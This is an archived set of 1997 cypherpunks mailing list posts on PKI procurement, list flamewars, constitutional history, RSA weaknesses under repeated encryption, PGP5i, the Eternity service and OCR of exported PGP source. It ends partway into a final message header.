Of course, there's a subtext to the question I allegedly ask - 5 is a 
number whose signifcance is well known to devotees of Eris, and 7 
shall not be spoken of.

W .'. Peter Trei, MM, PM, RAM, 32' AASR(NJ)

trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Wed, 13 Aug 1997 00:41:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Feds Seek PKI Bids
Message-ID: <3.0.32.19691231160000.006ea984@best.com>
MIME-Version: 1.0
Content-Type: text/plain



despite the CBD item, keep your eye on the key recovery demonstration 
projects; links at

http://www.best.com/~geeman


At 01:53 PM 8/11/97 -0400, A. Padgett Peterson P.E. Information Security
wrote:
>
>
>>USG published a solicitation today in the CBD for a
>>Public Key Infrastructure which outlines the system
>>requirements:
>
>>   http://jya.com/pkicbd.htm
>
>
>Interesting from what is *not* there - any mention of key recovery/key 
>escow. Looks like they may finally understand what a Certificate Authority
>is (not holding breath). Do not think much of appelations (Classic & Gold)
>and suspect they may need more than two but sounds like a good start.
>
>					Warmly,
>						Padgett
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 13 Aug 1997 00:47:58 +0800
To: Patrick Oonk <patrick@atro.pine.nl>
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <Pine.SOL.3.91.970812170843.25651F-100000@hardy>
Message-ID: <v03102803b0163ff1c75d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:10 AM -0700 8/12/97, Patrick Oonk wrote:

>Is this what the cypherpunks list has become ? Discussions about religion ?
>
>If so, I am out of here...

The list is about what people discuss. It is up to all readers to write
articles that are interesting.

Merely sitting back and waiting for good articles is seldom fruitful.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Avi Rubin <rubin@research.att.com>
Date: Tue, 12 Aug 1997 21:59:57 +0800
To: cypherpunks@toad.com
Subject: List of crypto-related courses
Message-ID: <199708121343.JAA27533@mgoblue.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain



For the last year or so, I have built and maintained a list of graduate
level courses on cryptography and security. The current list can be found
at 

   http:/www.cs.ny.edu/~rubin/courses.html

I would like to keep this list as current as possible, so if you have
any additions/corrections, etc, please let me know. I am only interested
in full-semester courses at universities.

Thank you,
Avi

*********************************************************************
Aviel D. Rubin                                 rubin@research.att.com
Secure Systems Research Dept.                Adjunct Professor at NYU
AT&T Labs - Research
180 Park Avenue                   http://www.research.att.com/~rubin/
Florham Park, NJ 07932-0971                    Voice: +1 973 360-8356
USA                                            FAX:   +1 973 360-8809

   --> Check out http://www.clark.net/pub/mjr/websec/ for a new
       book on web security (The Web Security Sourcebook).
*********************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 13 Aug 1997 14:42:14 +0800
To: Patrick Oonk <patrick@atro.pine.nl>
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <Pine.SOL.3.91.970812170843.25651F-100000@hardy>
Message-ID: <3.0.2.32.19970812102351.0334fdc4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:10 PM 8/12/97 +0200, Patrick Oonk wrote:
>Is this what the cypherpunks list has become ? Discussions about religion ?
>
>If so, I am out of here...

Cypherpunks, like many other large groups, have a lot of opinionated people
who can be counted on to respond to a troll.  This one was, ummm,
created a few days ago, but it'll go away or evolve into other species of
flamewar, given enough time and chance :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Tue, 12 Aug 1997 22:29:51 +0800
To: cypherpunks@cyberpass.net
Subject: Re: A peculiar notion
In-Reply-To: <v03102800b013d04c0f1b@[10.0.2.15]>
Message-ID: <Pine.SOL.3.95.970812101447.4276G-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain



May a professor of constitutional law join in?

There *are* things you might object to about Lincoln, e.g. his unilateral
suspension of the writ of habeus corpus (it was more than arguable that
this should have required a congressional act), but the arguments in this
post are not among them.

Read on.

On Sun, 10 Aug 1997, Steve Schear wrote lots including:

> But, as Jefferson Davis, the Confederate president, pointed out, the
> Constitution had been "a compact between independent states." The powers
> given to the federal government had been "delegated," and whatever is
> delegated can be withdrawn. 

The above is the historical and logical error.  In fact, as you will see
if you read Gordon Woods' magisterial account of the legal and political
history of the constitution, the dominant view (articulated in the
Federalist papers, for example) was the "dual sovereignty" thesis.  In
this view BOTH the federal government AND the states were agents of the
PEOPLE, who were the only sovereign.  This is why the federal constitution
was ratified by popular votes, not by state legislatures -- the
legislatures were not vested with the power to create the union, as this
power was outside the delegation to the states.  Naturally, rebel
Jefferson Davis glossed over all this, if he even understood it, since it
was fatal to his cause. 

It is consistent with the dual sovereignty thesis to say that "what is
delegated can be withdrawn" but the entity doing the "withdrawing" is the
people (by some democratic process, presumably, e.g. a new constitutional 
convention), not the states, for it is the people who did the delegation
in the first place.  

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's @%#$%$# hot here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 13 Aug 1997 02:31:09 +0800
To: Patrick Oonk <patrick@atro.pine.nl>
Subject: Discussion Topic (Re: The BIG Lie (Jesus Confesses))
In-Reply-To: <v03102803b0163ff1c75d@[207.167.93.63]>
Message-ID: <v03102800b016587f8210@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:33 AM -0700 8/12/97, Patrick Oonk wrote:
>>
>> At 4:10 AM -0700 8/12/97, Patrick Oonk wrote:
>>
>> >Is this what the cypherpunks list has become ? Discussions about religion ?
>> >
>> >If so, I am out of here...
>>
>> The list is about what people discuss. It is up to all readers to write
>> articles that are interesting.
>>
>> Merely sitting back and waiting for good articles is seldom fruitful.
>
>Yeah right,
>
>I subscribed to this list again after I met some cypherpunks
>at HIP'97, as they told me it's still interesting.
>AFAIK this list is about cryptography, privacy and security.
>
>But hey, I just killfile everyone that discusses religion :)


I just sorted my mailbox based on name, to see what you've contributed. Of
the articles I've kept (about half of all articles, roughly), the only two
I have from you are on this topic. (It may be that you have written other
articles which I don't have, but your name does not spring to mind as being
a contributor.)

Again, if you want discussion, discuss already.

Complaining that others are not writing the articles you want to read is
never fruitful.

Probably you'll be happier doing what you said you were going to do, leaving.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 12 Aug 1997 23:47:59 +0800
To: coderpunks@toad.com
Subject: Encrypting same data with many keys...
Message-ID: <Pine.SUN.3.96.970812111223.26326D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




What are the dangers of taking a small block of data - say upto 1K in
size, then producing many files, each being the same data encrypted by
other keys? 

i.e.:
	Plain data: 1K in size or smaller
	
	File 1: Data encrypted with Key1
	File 2: Data encrypted with Key2
	File 3: Data encrypted with Key3
	File 4: Data encrypted with Key4
	File 5: Data encrypted with Key5
	File 6: Data encrypted with Key6
	File 8: Data encrypted with Key8
		....
	File N: Data encrypted with KeyN

A known plaintext attack won't help you to break the keys unless you have
one of the eight keys, but will having many keys that encrypt the same
data significanltly weaken the security of that tiny chunk of data?

And no, I don't mean, there's N keys so the odds of brute forcing the data
is now N times easier.  Assume we're using 128 bit Blowfish/Idea or
better, and discarding weak keys.  Are there any differential or other
cryptanalysis methods to use the eight resulting cyphertexts to get at the
data other than brute forcing it if you don't know any of the keys?

What if instead of using a private key cypher, we used a public key
cypher?  Would that make any difference in attack methods?

The data won't contain any text, or identifiers (i.e "GIF89" in GIF files,
"MZ" in wintel executables, etc...)  known or guessable to the attacker...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Tue, 12 Aug 1997 19:27:35 +0800
To: cypherpunks@toad.com
Subject: Re: PGP5i supports RSA keys?
In-Reply-To: <199708120307.WAA13721@dfw-ix15.ix.netcom.com>
Message-ID: <3.0.3.32.19970812115945.009789d0@localhost>
MIME-Version: 1.0
Content-Type: text/plain



? the platypus {aka David Formosa} wrote:
>As PGP5i will be outside RSA's patent reach (i.e. the patent is only valid
>within the US) will PGP5i support RSA keys?

Yes.

All versions of PGP5 supports RSA for encryption/decryption.

PGP50freeware from MIT can not generate RSA keys, but the scanned version
PGP50i
<ftp://ftp.ifi.uio.no/pub/pgp/5.0/international/unix/pgp50i-unix-src-b8.tar.
gz> can generate both RSA and DSS/DH keys.

If you have PGP50freeware, you can still import RSA keys (from 50i or 2.6)
and use them, you just can't generate the keys.


Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 13 Aug 1997 00:06:32 +0800
To: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Subject: Re: 5881.html
In-Reply-To: <199708120842.EAA09809@yakko.cs.wmich.edu>
Message-ID: <Pine.SUN.3.96.970812120031.26326L-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 12 Aug 1997, Damaged Justice wrote:

>    "There was no mention on the Web site that you have to be of age,"
>    Nixon said. "It's safe to say that any establishment in the state of
>    Missouri [that similarly served drinks to minors] would lose their
>    license."

fuck the minors, let'em drink their brains out. :)

*Burp!*  Thash wuzzz... somes good beeeer dere i had *hick*  wheresszssz
the oththterrr sixzzpak  *burp* gimnme morrrr...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 13 Aug 1997 03:28:34 +0800
To: cypherpunks <cypherpunks@Algebra.COM>
Subject: Re: Eternity Uncensorable?
In-Reply-To: <MAPI.Id.0016.00656c73657920204130443930303042@MAPI.to.RFC822>
Message-ID: <19970812121230.24614@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Aug 12, 1997 at 12:46:02PM -0600, John Kelsey wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>[ To: cypherpunks@algebra.com, Wei Dai ## Date: 08/08/97 10:37 pm ##
>  Subject: Re: Eternity Uncensorable? ]
>
>>Subject: Re: Eternity Uncensorable?
>>To: Cypherpunks Lite <cp-lite@comsec.com>
>>From: Wei Dai <weidai@eskimo.com>
>>Date: Wed, 06 Aug 1997 11:33:55 -0700 (PDT)
>
>>I suggest using information dispersal to spread risk amongst
>>remailer operators.  Use Rabin's information dispersal technique
>>to divide up a document into n shares such that k of them can
>>reconstruct the original, and post each share via a seperate
>>remailer.  It would be hard for the government to single out an
>>operator to go after since an individual share by itself is
>>useless.
>
>I'm a little concerned with the usefulness of this idea in a
>legal sense.  Imagine the physical analogue:  Alice buys the
>guns and masks, and leaves them in a pre-arranged place.  Bob
>anonymously buys a car and leaves it, with the keys inside, in
>another pre-arranged place.  Carol and Dave collect the guns,
>masks, and the car, and use them to rob a bank or hijack an
>airplane.  Do you suppose the feds will have any problem
>prosecuting Alice and Bob for their part in the conspiracy?

Yes, I think there might be problems for the feds in this case.  Your 
analogy is not at all accurate, since the remailers have no knowledge 
of what their individual shares contain, and didn't supply any of the 
input data to begin with.  Here's a different analogy:

Alice and Bob and Carol and Dave run mailbox outlets.  Elmer and Fred
jointly rent several mailboxes.  Elmer mails a single piece of a gun
to each mailbox in a sealed package -- ABCD can have no way of
knowing what is in each package.  Fred goes to each mailbox and gets
the package inside, takes them all home, and assemble a weapon used 
to commit a crime.  It is hard to see how ABCD could be included in 
any conspiracy, because they were providing a general, legal service, 
and they had absolutely no knowledge of the conspiracy.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Wed, 13 Aug 1997 02:09:51 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Encrypting same data with many keys...
In-Reply-To: <Pine.SUN.3.96.970812111223.26326D-100000@beast.brainlink.com>
Message-ID: <97Aug12.123816edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 12 Aug 1997, Ray Arachelian wrote:

> A known plaintext attack won't help you to break the keys unless you have
> one of the eight keys, but will having many keys that encrypt the same
> data significanltly weaken the security of that tiny chunk of data?
> 
> And no, I don't mean, there's N keys so the odds of brute forcing the data
> is now N times easier.  Assume we're using 128 bit Blowfish/Idea or
> better, and discarding weak keys.  Are there any differential or other
> cryptanalysis methods to use the eight resulting cyphertexts to get at the
> data other than brute forcing it if you don't know any of the keys?
> 
> What if instead of using a private key cypher, we used a public key
> cypher?  Would that make any difference in attack methods?

The only thing I can think of is if you use something like CFB mode, and
the IV is also the same at the beginning, the first 8 bytes will leave a
hole - I don't remember exactly, but I was burned by exactly this when I
saw 8 bytes of plaintext after resetting the IV in an app that xors some
encrypted blocks of data to do something else.

A PK to encode the conventional key works better since you can do a long
or complex conventional key and other material such as an IV once, and
then bury that several times.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0107.myriad.ml.org (Matthew Ghio)
Date: Wed, 13 Aug 1997 03:56:10 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Encrypting same data with many keys...
In-Reply-To: <Pine.SUN.3.96.970812111223.26326D-100000@beast.brainlink.com>
Message-ID: <199708121945.MAA16770@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian <sunder@brainlink.com> asked:
> 
> What are the dangers of taking a small block of data - say upto 1K in
> size, then producing many files, each being the same data encrypted by
> other keys?
...
> Assume we're using 128 bit Blowfish/Idea or better, and discarding
> weak keys.

For a standard block cipher there should be no problem.  For a stream
cipher, you would have the same type of problems as for OTP reuse, but
it would still be secure as long as you never reused a key.  However...

> What if instead of using a private key cypher, we used a public key
> cypher?  Would that make any difference in attack methods?

Yes.

Having identical plaintexts raised to the same power modulo different
numbers makes the solution much easier.  If you have enough RSA
encryptions of the same number to the same power, you can solve it
outright by the remainder theorem.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Kelsey <kelsey@plnet.net>
Date: Wed, 13 Aug 1997 02:00:59 +0800
To: cypherpunks <cypherpunks@Algebra.COM>
Subject: Re: Eternity Uncensorable?
Message-ID: <MAPI.Id.0016.00656c73657920204130443930303042@MAPI.to.RFC822>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

[ To: cypherpunks@algebra.com, Wei Dai ## Date: 08/08/97 10:37 pm ##
  Subject: Re: Eternity Uncensorable? ]

>Subject: Re: Eternity Uncensorable?
>To: Cypherpunks Lite <cp-lite@comsec.com>
>From: Wei Dai <weidai@eskimo.com>
>Date: Wed, 06 Aug 1997 11:33:55 -0700 (PDT)

>I suggest using information dispersal to spread risk amongst
>remailer operators.  Use Rabin's information dispersal technique
>to divide up a document into n shares such that k of them can
>reconstruct the original, and post each share via a seperate
>remailer.  It would be hard for the government to single out an
>operator to go after since an individual share by itself is
>useless.

I'm a little concerned with the usefulness of this idea in a
legal sense.  Imagine the physical analogue:  Alice buys the
guns and masks, and leaves them in a pre-arranged place.  Bob
anonymously buys a car and leaves it, with the keys inside, in
another pre-arranged place.  Carol and Dave collect the guns,
masks, and the car, and use them to rob a bank or hijack an
airplane.  Do you suppose the feds will have any problem
prosecuting Alice and Bob for their part in the conspiracy?

>If n>k this also increases reliability and resilience of the
>eternity service against technical attacks.

This part is somewhat more useful.  However, n copies of the
message are probably better.

I think the general problem here is unsolveable--running an
Eternity server is just going to be a dangerous thing to do if
you live somewhere where the police are likely to see
possessing, distributing, or selling some of the information on
it as a crime.  There are two possible solutions I can see:
Either make Eternity servers so widespread that taking down
individual servers in individual jurisdictions is futile, or
find some jurisdictions where virtually *nothing* will provoke
the police to act.  (Note that legal jurisdiction isn't the only
issue here.  Some groups may be willing to use terrorist tactics
to shut down these servers.)

Note:  Please respond via e-mail as well as or instead of posting,
as I get CP-LITE instead of the whole list.

   --John Kelsey, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36

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Version: 2.6.2

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FmPIq1dd9T7Mm6tlJGe8iC4lXmpm4JVqhmZMTGoJlkw6ld1MWGiOevpDWhycpAPQ
6ohDd/R2G3dRHkWCvPklyeKQx3v8GfWAhPrupJZNNAUCIJqDMlg6kJQv4BDiEukr
G7C89qeaXqA=
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-----END PGP SIGNATURE-----


   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 13 Aug 1997 04:17:21 +0800
To: Tim May <tcmay@got.net>
Subject: TCM goes to city council
In-Reply-To: <v03102804b014e9f5d0b9@[207.167.93.63]>
Message-ID: <199708121951.MAA00280@netcom12.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



TCM

>I attended a City Council meeting and spoke up on this point. I asked that
>if the "Food Not Bombs" folks were being arrested for distributing food
>without a license, that the cops also make arrests of the various groups at
>church picnics, Boy Scout outings, family picnics, etc., who also prepare
>and distribute food to groups. (Cooked under the same conditions, and
>distributed the same way.)
>
>The Council showed no reaction to my point, not that I expected to have any
>effect (dozens of others made similar points, that this was selective
>enforcement). The cops were told to keep busting people for distributing
>food, but no orders were given against church and social groups.

TCM attending a government sponsored meeting? participating in 
participatory government? voting with his voice in a democracy?

SCANDALOUS!!

whatever happened to the "f*** them all philosophy"?

hehehehehe

or maybe you will be using this little anecdote ad nauseam to
show the failure of democracy to individual wishes, and the 
tyranny of the majority?

seriously, if cypherpunks think government is so crappy, let see
them invent a better alternative than that which exists. note that
"anarchy" evades the problem completely. it's like saying, "I hate
my web browser" and someone saying, "oh, just get rid of it, the
alternative is far better".  an 8 year old would understand this
logic, but alas it eludes the cpunks after many moons on this list.

>"Some food distributors are more equal than others." Selective enforcement
>is the real power of the State.

agreed, the food policy you cite is strangely orwellian. however one
can somewhat sympathize with states which are in a bind here, in such a way
that you fail to mention the obvious ramifications. 

the more empathetic governments 
are toward the homeless, the more the state becomes a hangout
for them. would you like to see the homeless multiply in your
own jurisdiction? word gets around fast in these circles where the
best place to get a free lunch is, and they travel around the 
country to that place. 

you have a very rabid opinion on welfare as a redistribution of
income to those that don't deserve it. how is this food redistribution
program different? the fact that you don't pay for it? so you
aren't really objecting to leeching, just leeching off of your
money? and BTW, I believe "leeching" is a word that you have used
in your own posts on the subject, and is not something I'm inventing
here.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick Oonk <patrick@atro.pine.nl>
Date: Tue, 12 Aug 1997 19:24:30 +0800
To: jrennie@hardy.ocs.mq.edu.au (Jason William RENNIE)
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <Pine.SOL.3.91.970812170843.25651F-100000@hardy>
Message-ID: <199708121110.NAA25127@atro.pine.nl>
MIME-Version: 1.0
Content-Type: text/plain



> 
> 
> 
> > Too many Christians try to censor atheist site because it defies their Almighty God (TM), and somehow clouds others views.
> 
> I notice to many and all for you have a way of being the same. Typical 
> narrow minded sterotyping. 
> 
> > 
> > Bullshit.  Most Christians I see IRL and on TV cringe at books other than The Good Book(TM).  Creationism is bullshit, God didn't make everything in 7 days, we evolved from monkeys and various others (Although many half-evolved monkeys can be seen on TV Evangelism shows and in Congress).

Is this what the cypherpunks list has become ? Discussions about religion ?

If so, I am out of here...

-- 
| Patrick Oonk -    http://patrick.mypage.org/  - patrick@pine.nl |
| PGP Key ID 0xDA2E93FA   -   Internic PO59   -   <clicketyclick> |
| Pine Internet B.V.           Consultancy, installatie en beheer |
| Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matthew Ghio <ghio@temp0108.myriad.ml.org>
Date: Wed, 13 Aug 1997 04:36:10 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Encrypting same data with many keys...
In-Reply-To: <199708121945.MAA16770@myriad.alias.net>
Message-ID: <199708122027.NAA19252@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



> So if I wanted to do this and use RSA, how could it be shielded from
> attack?  I take it switching to DH or MH won't help.   Would Eliptic
> Curves have different properties against this attack?
> 
> Maybe a random session key in the middle would help?

Using a salt would work.  DH would be okay if you used DH to exchange
a different key with each recipient and then conventionally encrypted
the message with that key.

The point is that you need to use different (random) inputs to each P-K
operation in order to avoid the possibility of ending up with a system
of equations that could be solved.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Wed, 13 Aug 1997 05:41:24 +0800
To: John Kelsey <kelsey@plnet.net>
Subject: Re: Eternity Uncensorable?
In-Reply-To: <MAPI.Id.0016.00656c73657920204130443930303042@MAPI.to.RFC822>
Message-ID: <Pine.SUN.3.96.970812142618.21017C-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 12 Aug 1997, John Kelsey wrote:

> >If n>k this also increases reliability and resilience of the
> >eternity service against technical attacks.
> 
> This part is somewhat more useful.  However, n copies of the
> message are probably better.

The nice thing about information dispersal is that each share is only 1/k
the size of the original.

> I think the general problem here is unsolveable--running an
> Eternity server is just going to be a dangerous thing to do if
> you live somewhere where the police are likely to see
> possessing, distributing, or selling some of the information on
> it as a crime.  There are two possible solutions I can see:
> Either make Eternity servers so widespread that taking down
> individual servers in individual jurisdictions is futile, or
> find some jurisdictions where virtually *nothing* will provoke
> the police to act.  (Note that legal jurisdiction isn't the only
> issue here.  Some groups may be willing to use terrorist tactics
> to shut down these servers.)

The point of using information dispersal is not to defend the Eternity
servers, but rather the exit remailers.  Adam's Eternity servers do not
need to be defended because they only act as a gateway between USENET and
the web.  Clients can run Eternity servers on their local machine and
directly access their local USENET spool. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 12 Aug 1997 13:07:26 +0800
To: cypherpunks@toad.com
Subject: PGP5i supports RSA keys?
In-Reply-To: <199708120307.WAA13721@dfw-ix15.ix.netcom.com>
Message-ID: <Pine.ULT.3.95.970812140559.13213D-100000@guinevere>
MIME-Version: 1.0
Content-Type: text/plain




As PGP5i will be outside RSA's patent reach (i.e. the patent is only valid
within the US) will PGP5i support RSA keys?

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep. Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?   ex-net.scum and proud
I'm sorry but I just don't consider 'because its yucky' a convincing argument





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 12 Aug 1997 18:27:33 +0800
To: The Traveler <travel23@juno.com>
Subject: Re: Forged headers
In-Reply-To: <19970812.020823.3662.1.travel23@juno.com>
Message-ID: <Pine.LNX.3.93.970812143331.356D-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 12 Aug 1997, The Traveler wrote:

> Does anyone know of a URL where you can get information on how to forge
> headers and email addresses?

ftp://ds.internic.net/rfc/

The files called rfc*.txt contain most of the infomation that you need to
know to be able to forge email and headers.  My advice for you is to start
with the low numbered ones and work your way up to the higher numbered
ones.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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Version: 2.6.3i
Charset: noconv

iQCVAwUBM+/udqQK0ynCmdStAQHgOQP/dBTOEiyxGIug8zIfIF9nST8Tp3bHQl2a
AZwHvYmh1TJyelPZG8sgtT6FJ1SVUSNNBSo6M3DQ5dxuA8DrJjg8wRdu8QJIYt/l
vsYtRZwMAvYEW0YcfM8z+KC1GH7viSZzAfksQoVojXQhe77LytkKNpMzs44oGtNZ
WZAnpH60vho=
=RIQg
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Sparkes <isparkes@q9f47.dmst02.telekom.de>
Date: Tue, 12 Aug 1997 21:12:40 +0800
To: cypherpunks@ssz.com
Subject: Re: Comments on PGP5.0 OCR
In-Reply-To: <199708111432.PAA00907@server.test.net>
Message-ID: <3.0.2.32.19970812150519.006ac9ec@q9f47.dmst02.telekom.de>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 17:46 11.08.97 +0200, you wrote:
>At 15:32 11.08.97 +0100, Adam Back wrote:
>>
>>Mark Grant <mark@unicorn.com> writes:
>>> 
>>> I just wanted to make a few comments on the proofreading, in case 
anyone
>>> feels like releasing software in a similar manner in future:
>>> 
>>> [...] the OCR-ed pages at HIP included a per-line
>>> checksum. This was good... but... it also checksummed the 
whitespace. 
>>> This wasn't a problem in theory, because tabs were indicated by a 
special
>>> character. However, most lines had both tabs *and* spaces and 
there was no
>>> way to see where the spaces were because they were overrriden by 
the tab
>>> (e.g. "mov<sp><tab>ax,23<sp><sp><tab><sp><tab>; Stuff"). 
>>
>>How about a book full of 2D barcodes?  
>>
>>As a plus perhaps the book would be more compact, as you could gzip 
it
>>first -- the full source tree looks to be over a foot of 
doublesided
>>paper!
>>
>
>How about importing the scanned in source (in electronic form) back 
into
>the States and doing a 'diff' there. This could produce an 
electronic
>patchfile to repair the mistakes in the scanned in code, meaning 
that the
>whole of the code could be cleaned up in one go. This patchfile 
could then
>be exported as it holds no crypto source code. (Somehow this seems 
*too*
>simple. Would this perhaps get up the US gubmint's nose? Have I 
missed some
>nuance or implicit limitation?)

How far could this be pushed? In the extreme case we could supply a 
file full of junk (random bytes) and then apply a patch to it to turn 
it into source code.

>
>>Adam
>>-- 
>>Have *you* exported RSA today? --> 
http://www.dcs.ex.ac.uk/~aba/rsa/
>>
>>print pack"C*",split/\D+/,`echo 
"16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
>>)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp
"|dc`
>>
>>
>
>
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM/BtnbgTZRKKFcAJAQFNlwP/ZhB2NZZv0qAuytMf2VLfLGV6mtY9vq/H
J4Z5q3wBzhoLPNaXJ3exdQ1+z+5CdHYFS9hvmeDCEi0wKLNzMZMZPIRVAsgCUgbo
I7lMvrRmV6Ajl/vuw7dLerv7oWDjI+G9kOpWLGrMdySUrYrVZlqm4o+hGb7/NPxE
uWVqFBBI9CU=
=wkOi
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 13 Aug 1997 04:12:44 +0800
To: Matthew Ghio <ghio@temp0107.myriad.ml.org>
